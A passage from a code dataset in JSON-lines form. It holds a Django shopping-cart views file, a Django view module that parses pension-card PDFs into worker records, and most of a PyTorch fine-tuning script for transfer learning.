cart_one_add(request, product_id):\n    cart = Cart(request)\n    product = get_object_or_404(Product, id= product_id)\n        # for atribut in atributes:\n        #     print('atribut=> ',type(atribut))\n        #     values = atribut.values.all()\n        #     print('values=> ',values)\n    if product:\n        attribute_1 = False\n        attribute_2 = False\n        attribute_3 = False\n        quantity = 1\n        try:\n            if product.product_type:\n                if product.product_type.atributes:\n                    atributes = product.product_type.atributes.all()\n                    try:\n                        attribute_1 = atributes[0].values.first().value\n                    except:\n                        pass\n                    try:\n                        attribute_2 = atributes[1].values.first().value\n                    except:\n                        pass\n                    try:\n                        attribute_3 = atributes[2].values.first().value\n                    except:\n                        pass\n        except:\n            pass\n    if attribute_3:\n    \n        cart.add(\n            product=product,\n            quantity=quantity,\n            attribute_1=attribute_1,\n            attribute_2=attribute_2,\n            attribute_3=attribute_3\n        )\n    elif attribute_2:\n        cart.add(\n            product=product,\n            quantity=quantity,\n            attribute_1 = attribute_1,\n            attribute_2 = attribute_2\n        )\n    elif attribute_1:\n\n        cart.add(\n            product=product,\n            quantity=quantity,\n            attribute_1 = attribute_1,\n        )\n    else:\n        cart.add(\n            product=product,\n            quantity=quantity,\n        )\n    items = len(cart)\n    context = {\n        'total_price': cart.get_total_price(),\n        'length' : len(cart),\n    }\n    return render(request, 'snippets/cart-count.html',context)\n    # return HttpResponse(len(cart))\n    # pass\n\n\n# @require_POST\n# def cart_update(request):\n#     print('envoer')\n#     cart = Cart(request)\n#     form =CartUpdateProductQuantityForm(request.POST)\n#     context = {\n#         'cart': cart,\n#         'form' : form\n#     }\n#     if form.is_valid():\n#         cd = form.cleaned_data\n#         product_id= cd['product_id']\n#         quantity=cd['quantity']\n#         product = get_object_or_404(Product, id=product_id)\n#         print('id ', product_id)\n#         print('quantity ', quantity)\n#         print('product ', product)\n#         cart.update(\n#             product = product,\n#             quantity=quantity,\n#         )\n#         print('lha9t')\n#         # return redirect('cart:cart_detail')\n#         if request.htmx:\n#             return render(request, 'snippets/cart-rows.html',  context)\n#         # except:\n#         #     print('THE form', form)\n#     return render(request, 'snippets/cart-rows.html',  context)\n\n\n\n\n@require_POST\ndef cart_product_update(request, pk):\n    cart = Cart(request)\n    form =CartUpdateProductQuantityForm(request.POST)\n    context = {\n        'cart': cart,\n        'form' : form\n    }\n    if form.is_valid():\n        cd = form.cleaned_data\n        product_id= cd['product_id']\n        quantity=cd['quantity']\n        product = get_object_or_404(Product, id=product_id)\n        print('id ', product_id)\n        print('quantity ', quantity)\n        print('product ', product)\n        cart.update(\n            product = product,\n            quantity=quantity,\n        )\n        print('lha9t')\n        # return redirect('cart:cart_detail')\n        if request.htmx:\n            return render(request, 'snippets/cart-row.html',  context)\n        # except:\n        #     print('THE form', form)\n    return render(request, 'snippets/cart-rows.html',  context)\n\n\n    if request.htmx:\n        print('yes htmx')\n        return render(request, 'snippets/cart-rows.html',  context)\n    return render(request, 'cart.html', {'cart' : cart})\n\ndef cart_remove(request, product_id):\n    cart = Cart(request)\n    product = get_object_or_404(Product, id=product_id)\n    cart.remove(product)\n    return redirect('cart:cart_detail')\n\n\n\n\n# def cart_add_one_product(request):\n#     cart = Cart(request)\n#     # product_id = request.POST['product_id']\n#     # Get the product that we want to add\n#     p_id = request.GET.get('product_id')\n#     print('request', p_id)\n#     product = get_object_or_404(Product, id=p_id, actif=True)\n#     tailles = product.taille.all()\n#     colors = product.couleur.all()\n\n#     print('les couleurs', colors)\n#     pointures = product.pointure.all()\n#     if tailles:\n#         taille = tailles[0]\n#     color = colors.first()\n#     print('les couleurs', color)\n\n#     if pointures:\n#         pointure = pointures[0]\n#     if product:\n#         quantity = 1\n#         try:\n#             print('pointure',pointure)\n#         except:\n#             pass\n#         try:\n#             print('taille', taille)\n#         except:\n#             pass\n#         try:\n#             print(color, 'taille, pointure')\n#         except:\n#             pass\n        \n        \n#         try:\n#             cart.add(\n#                 product=product,\n#                 quantity=quantity,\n#                 pointure = pointure,\n#                 color = color\n#             ) \n#         except:\n#             try:\n#                 cart.add(\n#                     product=product,\n#                     quantity=quantity,\n#                     taille = taille,\n#                     color = color\n#                 )\n#             except:\n#                 cart.add(\n#                     product=product,\n#                     quantity=quantity,\n#                     color = color\n#                 )\n#     return JsonResponse(serializers.serialize('json', color), safe=True)\n\n    # if tailles:\n    #     taille = tailles[0]\n    #     cart.add(taille = taille)\n\n    # else:\n    #     taille = False\n    # if colors:\n    #     color = colors[0]\n    #     cart.add(color = color)\n    # else:\n    #     color = False\n    # if pointures:\n    #     pointure = pointures[0]\n    #     cart.add(pointure = pointure)\n    # else:\n    #     pointure = False\n\n    # else:\n        # return redirect('cart:cart_detail')\n\n\n\n\n\n# @require_POST\n# def cart_one_add(request, product_id):\n#     cart = Cart(request)\n#     product = get_object_or_404(Product, id=product_id)\n#     form = CartAddProductQuantityForm(request.POST)\n#     print('the Cart ')\n#     try:\n#         print('the Cart  ffbf')\n\n#         if form.is_valid():\n#                 cd = form.cleaned_data\n#                 print('cd', cd)\n#                 cart.add(\n#                     product=product,\n#                     quantity=1,\n#                 )\n#                 print('the Cart two', cart)\n#                 return redirect('cart:cart_detail')\n#     except:\n\n#         return redirect('/')\n\n","sub_path":"cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"256039887","text":"import datetime\nimport os\nimport re\nimport sys\n\nfrom PyPDF2 import PdfFileReader\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom wkhtmltopdf.views import PDFTemplateResponse\n\nfrom .models import KartuCetak, Perusahaan, TenagaKerja\n\n\n# Create your views here.\ndef index(request):\n    return HttpResponse(\"Hello, world. You're at the pensiun index.\")\n\n\ndef cetak_kartu_list(request):\n    latest_cetak_kartu = KartuCetak.objects.order_by('-kc_tgl_cetak')[:5]\n    return render_to_response('pensiun/cetak_kartu_list.html', {'latest_cetak_kartu': latest_cetak_kartu},\n                              context_instance=RequestContext(request))\n\n\ndef results(request, cetak_id):\n    tenaga_kerja_list = TenagaKerja.objects.filter(tk_cetak=cetak_id)\n    return render_to_response('pensiun/tk_list.html', {'pdf_content': tenaga_kerja_list},\n                              context_instance=RequestContext(request))\n\n\ndef get_content(pdf_instance):\n    content = \"\"\n    for i in range(0, pdf_instance.getNumPages()):\n        content += pdf_instance.getPage(i).extractText() + \"\\n\"\n        content = \" \".join(content.replace(u\"\\xa0\", \" \").strip().split())\n    return content\n\n\ndef handle_pdf_file(pdf_file):\n    if pdf_file.name.endswith('.pdf'):\n        absolute_file = os.path.join(os.curdir, pdf_file.name)\n        filename, file_extension = os.path.splitext(absolute_file)\n\n    npp_file, cetak_ke = filename.split('-')\n    npp = Perusahaan.objects.get(perusahaan_npp=npp_file[2:])\n\n    new_kartu = KartuCetak(kc_npp=npp, kc_ambil=1, kc_tgl_cetak=datetime.date.today())\n    new_kartu.save()\n\n    pdf1 = PdfFileReader(pdf_file.file)\n    isi_file = get_content(pdf1)\n    p = re.compile(\"JAMINAN PENSIUN\")\n\n    blth_idx = []\n    for blth in re.finditer('(\\d{2}-\\d{4})', isi_file):\n        blth_idx.append(blth.start(0))\n\n    for idx, jp in enumerate(re.finditer(p, isi_file)):\n        no_ktp = isi_file[jp.end(0): jp.end(0) + 19]\n        no_kpj = isi_file[jp.end(0) + 19: jp.end(0) + 19 + 11]\n        nama = isi_file[jp.end(0) + 19 + 11 + 5: blth_idx[idx]]\n        blth = isi_file[blth_idx[idx]: blth_idx[idx] + 7]\n        new_tk = TenagaKerja(tk_nama=nama, tk_ref=no_kpj, tk_ktp=no_ktp, tk_cetak=new_kartu,\n                             tk_blth=datetime.datetime.strptime(blth, \"%m-%Y\").date())\n        new_tk.save()\n\n    return TenagaKerja.objects.filter(tk_cetak=new_kartu)\n\n\ndef upload_file(request):\n    if request.method == 'POST':\n        pdf_file = request.FILES['file']\n        pdf_content = handle_pdf_file(pdf_file)\n    else:\n        pdf_content = TenagaKerja.objects.all()\n\n    return render_to_response('pensiun/tk_list.html', {'pdf_content': pdf_content},\n                              context_instance=RequestContext(request))\n\n\ndef pdf(request, cetak_id):\n    pdf_content = TenagaKerja.objects.filter(tk_cetak=cetak_id)\n    filename = 'my_pdf.pdf'\n    template_name = 'pensiun/to_pdf.html'\n    cmd_options = {\n        'page-size': \"A4\",\n        'orientation': \"Portrait\",\n    }\n    context = {'title': \"PDF Generation\",\n               'pdf_content': pdf_content,\n               }\n    response = PDFTemplateResponse(request=request, template=template_name, filename=filename, context=context,\n                                   cmd_options=cmd_options, )\n    return response\n\n\ndef eprint(*args, **kwargs):\n    print(*args, file=sys.stderr, **kwargs)\n","sub_path":"pensiun/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"45979433","text":"from functools import partial\nimport math\nimport os\nimport datetime\nimport time\nimport argparse\nfrom tqdm import tqdm\nimport torch.multiprocessing as mp # if not used, \"memory mapped error\" in the dataloader, no idea why\nimport os\nfrom os.path import join as pjoin  # pylint: disable=g-importing-member\nfrom copy import deepcopy\nimport time\nimport pandas as pd\nimport random\nimport numpy as np\nimport torch\nimport torchvision as tv\nimport torch.nn.functional as F\nimport logging\nfrom torch.utils.tensorboard import SummaryWriter\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import average_precision_score\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import precision_score, recall_score, f1_score\nfrom transfer_learning.finetuning import fewshot as fs\nfrom transfer_learning.finetuning import lbtoolbox as lb\nfrom transfer_learning.finetuning import bit_common\nfrom transfer_learning.finetuning import bit_hyperrule\n\nfrom transfer_learning.models import bit as models\n\nfrom transfer_learning.optim.sgd_agc import SGD_AGC\nfrom transfer_learning.models.builder import load_from_checkpoint\nfrom transfer_learning.datasets.builder import build_dataset\nfrom transfer_learning.optim.builder import build_optimizer\nfrom transfer_learning.dataloaders.builder import build_dataloader\n\n\nfrom omegaconf import OmegaConf\n\ntry:\n    import horovod.torch as hvd\n    USE_HOROVOD = True\nexcept ImportError:\n    USE_HOROVOD = False\n\nMULTIPROCESSING_CONTEXT = \"forkserver\"\n\n# if USE_HOROVOD:\n    # from transfer_learning.dataloaders.dataloader_threads import DataLoader\n# else:\n\nfrom torch.utils.data import DataLoader\n\ndef topk(output, target, ks=(1,)):\n    \"\"\"Returns one boolean vector for each k, whether the target is within the output's top-k.\"\"\"\n    nb_classes = output.shape[1]\n    ks = [min(k, nb_classes) for k in ks]\n    _, pred = output.topk(max(ks), 1, True, True)\n    pred = pred.t()\n    correct = pred.eq(target.view(1, -1).expand_as(pred))\n    return [correct[:k].max(0)[0] for k in ks]\n\n\ndef recycle(iterable):\n    \"\"\"Variant of itertools.cycle that does not save iterates.\"\"\"\n    while True:\n        for i in iterable:\n            yield i\n\n\ndef mktrainval(args, config, logger):\n    \"\"\"Returns train and validation datasets.\"\"\"\n    train_set, valid_set = build_dataset(config)\n    if args.valid_ratio is not None:\n        orig_train = deepcopy(train_set)\n        rng = np.random.RandomState(args.valid_seed)\n        inds = np.arange(len(train_set))\n        rng.shuffle(inds)\n        valid_set_ = deepcopy(train_set)\n        if hasattr(valid_set, \"transform\"):\n            valid_set_.transform = valid_set.transform\n        if hasattr(valid_set, \"data_aug\"):\n            valid_set_.data_aug = valid_set.data_aug\n        nb_train = int(len(train_set) * (1 - args.valid_ratio))\n        train_set = torch.utils.data.Subset(train_set, inds[0:nb_train])\n        train_set.labels = orig_train.labels[inds[0:nb_train]]\n        valid_set = torch.utils.data.Subset(valid_set_, inds[nb_train:])\n        valid_set.labels = orig_train.labels[inds[nb_train:]]\n    if args.multilabel_force_classification:\n        assert hasattr(train_set, \"labels\")\n        assert hasattr(valid_set, \"labels\")\n        train_set = SingleLabelFromMultiLabel(train_set, train_set.labels)\n        valid_set = SingleLabelFromMultiLabel(valid_set, valid_set.labels)\n\n    if args.train_ratio is not None:\n        logger.info(f\"Train ratio: {args.train_ratio}\")\n        rng = np.random.RandomState(args.seed)\n        indices = np.arange(len(train_set))\n        rng.shuffle(indices)\n        train_size = int(len(train_set) * args.train_ratio)\n        indices = indices[:train_size]  \n        train_set = torch.utils.data.Subset(train_set, indices)\n\n    if config.data.oversampling == True and args.examples_per_class is None:\n        logger.info('Using oversampling to deal with class imbalance')\n        loader = DataLoader(\n            train_set,\n            shuffle=False,\n            num_workers=config.data.workers,\n            batch_size=config.optim.batch,\n            worker_init_fn=seed_worker,\n            multiprocessing_context=MULTIPROCESSING_CONTEXT,\n\n        )\n        #Thanks to https://discuss.pytorch.org/t/balanced-sampling-between-classes-with-torchvision-dataloader/2703/2\n        class_weight = torch.zeros(config.data.nb_classes)\n        freq = [0] * config.data.nb_classes\n        ys = []\n        for x, y in loader:\n            for yi in y:\n                class_weight[yi] += 1\n                ys.append(yi)\n        nb_examples = len(ys)\n        class_weight = nb_examples  / class_weight\n        logger.info(f'Class weight for oversampling: {class_weight}')\n        weight = [0] * nb_examples\n        for i, yi in enumerate(ys):\n            weight[i] = class_weight[yi]\n        weight = torch.FloatTensor(weight)\n        sampler = torch.utils.data.sampler.WeightedRandomSampler(weight, len(weight))\n    else:\n        if USE_HOROVOD:\n            sampler = torch.utils.data.DistributedSampler(\n                train_set,\n                num_replicas=hvd.size(),\n                rank=hvd.rank(),\n            )\n        else:\n            sampler = None\n    if args.examples_per_class is not None:\n        logger.info(f\"Looking for {args.examples_per_class} images per class...\")\n        if hasattr(train_set, \"labels\"):\n            rng = np.random.RandomState(args.seed)\n            inds = np.arange(len(train_set))\n            indices = []\n            for cl in range(len(train_set.classes)):\n                inds_cl = inds[train_set.labels==cl]\n                rng.shuffle(inds_cl)\n                inds_cl = inds_cl[0:args.examples_per_class]\n                indices.append(inds_cl)\n            indices = np.concatenate(indices)\n            rng.shuffle(indices)\n            # print(indices)\n        else:\n            indices = fs.find_fewshot_indices(train_set, args.examples_per_class, random_state=args.seed)\n        train_set = torch.utils.data.Subset(train_set, indices=indices)\n        #DEBUG\n        # import torchvision\n        # for i in range(len(train_set)):\n            # x, y = train_set[i]\n            # x = (x-x.min())/(x.max()-x.min())\n            # print(i, x.shape)\n            # torchvision.utils.save_image(x, f\"{i}.jpg\")\n    # for i in range(len(train_set)):\n        # print(i, train_set[i][1])\n    logger.info(f\"Using a training set with {len(train_set)} images.\")\n    logger.info(f\"Using a validation set with {len(valid_set)} images.\")\n\n    micro_batch_size = config.optim.batch // config.optim.batch_split\n\n    valid_loader = DataLoader(\n        valid_set,\n        batch_size=config.optim.val_batch_size if config.optim.val_batch_size else micro_batch_size,\n        shuffle=False,\n        num_workers=config.data.workers,\n        # pin_memory=True,\n        drop_last=False,\n        worker_init_fn=seed_worker,\n        multiprocessing_context=MULTIPROCESSING_CONTEXT,\n    )\n\n    if micro_batch_size <= len(train_set):\n        train_loader = DataLoader(\n            train_set,\n            batch_size=micro_batch_size,\n            shuffle=True if sampler is None else None,\n            num_workers=config.data.workers,\n            # pin_memory=True,\n            drop_last=False,\n            sampler=sampler,\n            worker_init_fn=seed_worker,\n            multiprocessing_context=MULTIPROCESSING_CONTEXT,\n        )\n    else:\n        # In the few-shot cases, the total dataset size might be smaller than the batch-size.\n        # In these cases, the default sampler doesn't repeat, so we need to make it do that\n        # if we want to match the behaviour from the paper.\n        train_loader = DataLoader(\n            train_set,\n            batch_size=micro_batch_size,\n            num_workers=config.data.workers,\n            # pin_memory=True,\n            sampler=torch.utils.data.RandomSampler(\n                train_set, replacement=True, num_samples=micro_batch_size\n            ),\n            worker_init_fn=seed_worker,\n            multiprocessing_context=MULTIPROCESSING_CONTEXT,\n        )\n    # train_loader.sampler = sampler\n    return train_set, valid_set, train_loader, valid_loader\n\n\ndef seed_worker(worker_id):\n    worker_seed = torch.initial_seed() % 2**32\n    np.random.seed(worker_seed)\n    random.seed(worker_seed)\n\n\nclass SingleLabelFromMultiLabel:\n\n    def __init__(self, dataset, labels):\n        self.dataset = dataset\n        labels = np.copy(labels)\n        labels[np.isnan(labels)] = 0\n        # only keep examples where there is exactly one class present\n        mask = (labels.sum(axis=1)==1)\n        inds = np.arange(len(labels))\n        inds = inds[mask]\n        self.labels = labels.argmax(axis=1)[inds]\n        self.subset = torch.utils.data.Subset(dataset, inds)\n        self.classes = range(labels.shape[1])\n\n    def __getitem__(self, idx):\n        x, yi = self.subset[idx]\n        y = self.labels[idx]\n        # print(yi, yi.argmax(), y)\n        # assert yi.argmax() == y\n        return x, y\n\n    def __len__(self):\n        return len(self.subset)\n\n\ndef run_eval(model, data_loader, device, chrono, logger, step, task):\n    # switch to evaluate mode\n    model.eval()\n\n    logger.info(\"Running validation...\")\n    logger.flush()\n\n    all_c, all_top1, all_top5, all_true, all_pred_proba = [], [], [], [], []\n    end = time.time()\n    for b, (x, y) in enumerate(data_loader):\n        with torch.no_grad():\n            x = x.to(device, non_blocking=True)\n            y = y.to(device, non_blocking=True)\n\n            # measure data loading time\n            chrono._done(\"eval load\", time.time() - end)\n\n            # compute output, measure accuracy and record loss.\n            with chrono.measure(\"eval fprop\"):\n                logits = model(x)\n                if task == \"classification\":\n                    c = torch.nn.CrossEntropyLoss(reduction=\"none\")(logits, y)\n                    top1, top5 = topk(logits, y, ks=(1, 5))\n                    all_top1.extend(top1.cpu())\n                    all_top5.extend(top5.cpu())\n                    all_c.extend(c.cpu())  # Also ensures a sync point.\n                    all_true.append(y.cpu().numpy())\n                    all_pred_proba.append(logits.softmax(dim=-1).cpu().numpy())\n                elif task == \"multilabel\":\n                    all_true.append(y.cpu().numpy())\n                    all_pred_proba.append(logits.sigmoid().cpu().numpy())\n                    mask = ~torch.isnan(y)\n                    logits = logits[mask]\n                    y = y[mask]\n                    c = F.binary_cross_entropy_with_logits(logits, y).item()\n                    all_c.append(c)  # Also ensures a sync point.\n\n        # measure elapsed time\n        end = time.time()\n\n    model.train()\n    logger.info(\n        f\"Validation@{step} loss {np.mean(all_c):.5f}, \"\n    )\n    if all_top1 and all_top5:\n        logger.info(\n            f\"top1 {np.mean(all_top1):.2%}, \"\n            f\"top5 {np.mean(all_top5):.2%}\"\n        )\n    \n    logger.flush()\n    \n    all_true = np.concatenate(all_true)\n    all_pred_proba = np.concatenate(all_pred_proba)\n    return all_c, all_top1, all_top5, all_true, all_pred_proba\n\n\ndef mixup_data(x, y, l):\n    \"\"\"Returns mixed inputs, pairs of targets, and lambda\"\"\"\n    indices = torch.randperm(x.shape[0]).to(x.device)\n\n    mixed_x = l * x + (1 - l) * x[indices]\n    y_a, y_b = y, y[indices]\n    return mixed_x, y_a, y_b\n\n\ndef mixup_criterion(criterion, pred, y_a, y_b, l):\n    return l * criterion(pred, y_a) + (1 - l) * criterion(pred, y_b)\n\ndef select_finetuning_options(cfg, pretrain_name):\n    for k, v in cfg.items():\n        keys = k.split(\",\")\n        if pretrain_name in keys:\n            print(f\"Using finetuning configuration from {pretrain_name}\")\n            return v\n    return cfg\n\n\ndef main(args):\n    if USE_HOROVOD:\n        hvd.init()\n     \n    if USE_HOROVOD and hvd.rank() > 0:\n        logger = logging.getLogger('NullLogger')\n    else:\n        logger = bit_common.setup_logger(args)\n\n    pretrain_config = OmegaConf.load(args.pretrain_config_file)\n    finetune_config = OmegaConf.load(args.finetune_config_file)\n    if pretrain_config.data.mean:\n        finetune_config.data.mean = pretrain_config.data.mean\n    if pretrain_config.data.std:\n        finetune_config.data.std = pretrain_config.data.std\n    # name = os.path.splitext(os.path.basename(args.pretrain_config_file))[0]\n    # finetune_config = select_finetuning_options(finetune_config, name)\n\n    if args.seed is not None:\n        from torch.backends import cudnn\n        from glob import glob\n        nb_runs = len(glob(os.path.join(args.logdir, \"events*\")))\n        global_seed = args.seed + nb_runs*100\n        logger.info(f\"Using global seed of {args.seed} + {nb_runs}*100\")\n        rng = random.Random(global_seed)\n        if USE_HOROVOD:\n            seed = hash((global_seed, hvd.rank())) % (2 ** 32)\n        else:\n            seed = global_seed\n        # follow https://pytorch.org/docs/stable/notes/randomness.html\n        # for reproducibility\n        torch.manual_seed(seed)\n        torch.cuda.manual_seed(seed)\n        random.seed(seed)\n        np.random.seed(seed)\n        # torch.use_deterministic_algorithms(True)\n        #https://github.com/pytorch/pytorch/issues/38410\n        cudnn.deterministic = True # type: ignore\n        cudnn.benchmark = False # type: ignore\n    \n    if args.batch_split is not None:\n        # override batch_split if\n        finetune_config.optim.batch_split = args.batch_split\n\n    if USE_HOROVOD:\n        finetune_config.optim.batch //= hvd.size()\n        finetune_config.optim.batch_split //= hvd.size()\n        logger.info(f\"Number of GPU workers: {hvd.size()}\")\n        logger.info(f\"GPU local batch size: {finetune_config.optim.batch}\")\n        logger.info(f\"Batch Split: {finetune_config.optim.batch_split}\")\n\n    # Lets cuDNN benchmark conv implementations and choose the fastest.\n    # Only good if sizes stay the same within the main loop!\n    torch.backends.cudnn.benchmark = True\n    if USE_HOROVOD:\n        torch.cuda.set_device(hvd.local_rank())\n        # torch.cuda.set_device(0)\n    \n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    logger.info(f\"Going to train on {device}\")\n    \n    if USE_HOROVOD and hvd.rank() > 0:\n        log_writer = None\n    else:\n        log_writer = SummaryWriter(os.path.join(args.logdir))\n\n    train_set, valid_set, train_loader, valid_loader = mktrainval(args, finetune_config, logger)\n    nb_classes = finetune_config.data.nb_classes\n    \n    if args.model_path is None:\n        name, *rest = os.path.splitext(os.path.basename(args.pretrain_config_file))\n        path = os.path.join(\"pretrained_models\", name, \"model.pth.tar\")\n        assert os.path.exists(path), f\"Model checkpoint does not exist: {path}\"\n        args.model_path = path\n    logger.info(f\"Using pre-trained model from {args.model_path}\")\n    model = load_from_checkpoint(pretrain_config, args.model_path, replace_num_classes_by=nb_classes)\n    logger.info(\"Moving model onto all GPUs\")\n    step = 0\n    model = model.to(device)\n    \n    optim = build_optimizer(finetune_config, model)\n    savename = pjoin(args.logdir, \"model.pth.tar\")\n    try:\n        logger.info(f\"Model will be saved in '{savename}'\")\n        checkpoint = torch.load(savename, map_location=\"cpu\")\n        logger.info(f\"Found saved model to resume from at '{savename}'\")\n\n        step = checkpoint[\"step\"]\n        model.load_state_dict(checkpoint[\"model\"])\n        optim.load_state_dict(checkpoint[\"optim\"])\n        logger.info(f\"Resumed at step {step}\")\n    except FileNotFoundError:\n        logger.info(\"Fine-tuning\")\n     \n    if USE_HOROVOD:\n        # compression = hvd.Compression.fp16 if finetune_config.horovod.fp16_allreduce else hvd.Compression.none\n        compression = hvd.Compression.none\n        optim = hvd.DistributedOptimizer(\n            optim, named_parameters=model.named_parameters(),\n            compression=compression,\n            backward_passes_per_step=finetune_config.optim.batch_split,\n            op=hvd.Average,\n        )\n        hvd.broadcast_parameters(model.state_dict(), root_rank=0)\n        hvd.broadcast_optimizer_state(optim, root_rank=0)\n\n    optim.zero_grad()\n    \n    if args.steps:\n        finetune_config.optim.steps = args.steps\n\n    if finetune_config.optim.steps:\n        bit_hyperrule_train_set = bit_hyperrule.get_max_train_set(finetune_config.optim.steps)\n    else:\n        bit_hyperrule_train_set = len(train_set)\n    logger.info(f\"Bit HyperRule schedule: {bit_hyperrule.get_schedule(bit_hyperrule_train_set)}\")\n    model.train()\n    mixup = bit_hyperrule.get_mixup(bit_hyperrule_train_set)\n    if finetune_config.optim.class_weight == 'balanced' and args.examples_per_class is None:\n        class_weight = torch.zeros(nb_classes)\n        freq = [0] * nb_classes\n        for x, y in train_loader:\n            for yi in y:\n                class_weight[yi] += 1\n        # minority class: weight of 1\n        class_weight = torch.min(class_weight) / class_weight\n        logger.info(f'Imbalanced data, using the following class weights: {class_weight}')\n    else:\n        class_weight = None\n    \n    x, y = train_set[0]\n    if type(y) != int and len(y.shape) == 1:\n        cri = torch.nn.BCEWithLogitsLoss(weight=class_weight).to(device)\n        def cri(output, target_batch):\n            mask = ~torch.isnan(target_batch)\n            output = output[mask]\n            target_batch = target_batch[mask]\n            loss = F.binary_cross_entropy_with_logits(output, target_batch)\n            return loss\n        task = \"multilabel\"\n    else:\n        cri = torch.nn.CrossEntropyLoss(weight=class_weight).to(device)\n        task = \"classification\"\n    logger.info(task)\n    logger.info(\"Starting training!\")\n    chrono = lb.Chrono()\n    accum_steps = 0\n    mixup_l = np.random.beta(mixup, mixup) if mixup > 0 else 1\n    end = time.time()\n    \n    steps_per_epoch = len(train_set) // finetune_config.optim.batch\n    for (x, y) in recycle(train_loader):\n        # if step == 110:\n            # break\n        if USE_HOROVOD and hasattr(train_loader.sampler, 'set_epoch'):\n            epoch = step // steps_per_epoch\n            new_epoch = (step % steps_per_epoch) == 0\n            if new_epoch:\n                train_loader.sampler.set_epoch(epoch)\n        # measure data loading time, which is spent in the `for` statement.\n        chrono._done(\"load\", time.time() - end)\n\n        # Schedule sending to GPU(s)\n        x = x.to(device, non_blocking=True)\n        y = y.to(device, non_blocking=True)\n        \n        # Update learning-rate, including stop training if over.\n        lr = bit_hyperrule.get_lr(step, bit_hyperrule_train_set, finetune_config.optim.base_lr)\n        if lr is None:\n            # lr is None means last step of the bit hyperrule schedule was achieved\n            # in original bit hyperrule, this is where we would stop, but we can imagine\n            # cases where we want to continue training for a little bit, this can be done\n            # using the config param `steps`\n            steps = finetune_config.optim.steps\n            # if `steps` is not provided in the config file, stop training\n            if steps is None:\n                break\n            # if `steps` is provided in config file, check if we achieved `steps` number\n            # of steps, if so, stop training\n            if step >= steps:\n                break\n            # use the last learning rate from bit hyperrule learning rate schedule\n            lr = bit_hyperrule.get_final_lr(bit_hyperrule_train_set, base_lr=finetune_config.optim.base_lr)\n        for param_group in optim.param_groups:\n            param_group[\"lr\"] = lr\n        if mixup > 0.0:\n            x, y_a, y_b = mixup_data(x, y, mixup_l)\n        # compute output\n        with chrono.measure(\"fprop\"):\n            logits = model(x)\n            if mixup > 0.0:\n                c = mixup_criterion(cri, logits, y_a, y_b, mixup_l)\n            else:\n                c = cri(logits, y)\n            c_num = float(c.data.cpu().numpy())  # Also ensures a sync point.\n\n        # Accumulate grads\n        with chrono.measure(\"grads\"):\n            (c / finetune_config.optim.batch_split).backward()\n            accum_steps += 1\n\n        accstep = (\n            f\" ({accum_steps}/{finetune_config.optim.batch_split})\" if finetune_config.optim.batch_split > 1 else \"\"\n        )\n        if step % 10 == 0:\n            logger.info(\n                f\"[step {step}{accstep}]: loss={c_num:.5f} (lr={lr:.1e})\"\n            )  # pylint: disable=logging-format-interpolation\n            if log_writer:\n                log_writer.add_scalar('train/loss', c_num, step)\n        if hasattr(logger, \"flush\"):\n            logger.flush()\n\n        # Update params\n        if accum_steps == finetune_config.optim.batch_split:\n            with chrono.measure(\"update\"):\n                # for param in model.parameters():\n                    # print(torch.norm(param), torch.norm(param.grad))\n                optim.step()\n                optim.zero_grad()\n            step += 1\n            accum_steps = 0\n            # Sample new mixup ratio for next batch\n            mixup_l = np.random.beta(mixup, mixup) if mixup > 0 else 1\n\n            # Run evaluation and save the model.\n            if (finetune_config.logging.eval_every and step % finetune_config.logging.eval_every == 0):\n\n                if ((USE_HOROVOD and hvd.rank() == 0) or not USE_HOROVOD):\n                    logger.info(f\"Timings:\\n{chrono}\")\n                    all_c, all_top1, all_top5, y_true, y_pred_proba = run_eval(model, valid_loader, device, chrono, logger, step, task)\n                    log_eval(logger, log_writer, all_c, y_true, y_pred_proba, step)\n                    if args.save:\n                        torch.save(\n                            {\n                                \"step\": step,\n                                \"model\": model.state_dict(),\n                                \"optim\": optim.state_dict(),\n                                \"pretrain_config\": pretrain_config,\n                                \"finetune_config\": finetune_config,\n                            },\n                            savename,\n                        )\n                if USE_HOROVOD:\n                    hvd.join()\n\n        end = time.time()\n\n    # Final eval at end of training.\n    # all_c, all_top1, all_top5 = run_eval(model, valid_loader, device, chrono, logger, step=\"end\")\n    if (((USE_HOROVOD and hvd.rank() == 0) or not USE_HOROVOD)):\n        all_c, all_top1, all_top5, y_true, y_pred_proba = run_eval(model, valid_loader, device, chrono, logger, step, task)\n        log_eval(logger, log_writer, all_c, y_true, y_pred_proba, step)\n    # log_writer.add_scalar('test/loss', np.mean(all_c), step)\n    # log_writer.add_scalar('test/acc', np.mean(all_top1), step)\n    logger.info(f\"Timings:\\n{chrono}\")\n    logger.info(\"Training Finished Successfully\")\n\n\ndef log_eval(logger, log_writer, all_loss, y_true, y_pred_proba, step):\n    multilabel = len(y_true.shape) == 2\n\n    if multilabel:\n        y_pred = (y_pred_proba>0.5)\n    else:\n        y_pred = y_pred_proba.argmax(axis=1)\n        logger.info(classification_report(y_true, y_pred))\n    auc_vals = []\n    avg_prec_vals = []\n    precisions = []\n    recalls = []\n    f1s = []\n    supports = []\n    supports_pos = []\n    nb_classes = y_pred_proba.shape[1]\n    for class_id in range(nb_classes):\n        \n        if multilabel:\n            yt = y_true[:, class_id]\n            yp = y_pred_proba[:, class_id] > 0.5\n            y_pr = y_pred_proba[:, class_id]\n            mask = ~np.isnan(yt)\n            yt = yt[mask]\n            yp = yp[mask]\n            y_pr = y_pr[mask]\n        else:\n            yt = (y_true == class_id)\n            yp = (y_pred == class_id)\n            y_pr = y_pred_proba[:, class_id]\n        support = len(yt)\n        support_pos = int(yt.sum())\n        precision = precision_score(yt, yp)\n        recall = recall_score(yt, yp)\n        f1 = f1_score(yt, yp)\n        try:\n            avg_prec_val = average_precision_score(yt, y_pr, pos_label=1)\n        except ValueError:\n            avg_prec_val = np.nan\n        try:\n            auc_val = roc_auc_score(yt, y_pr)\n        except ValueError:\n            # happens when there is one class only\n            auc_val = np.nan\n        logger.info(f\"Class {class_id} average precision: {avg_prec_val:.3f}\")\n        logger.info(f\"Class {class_id} AUC: 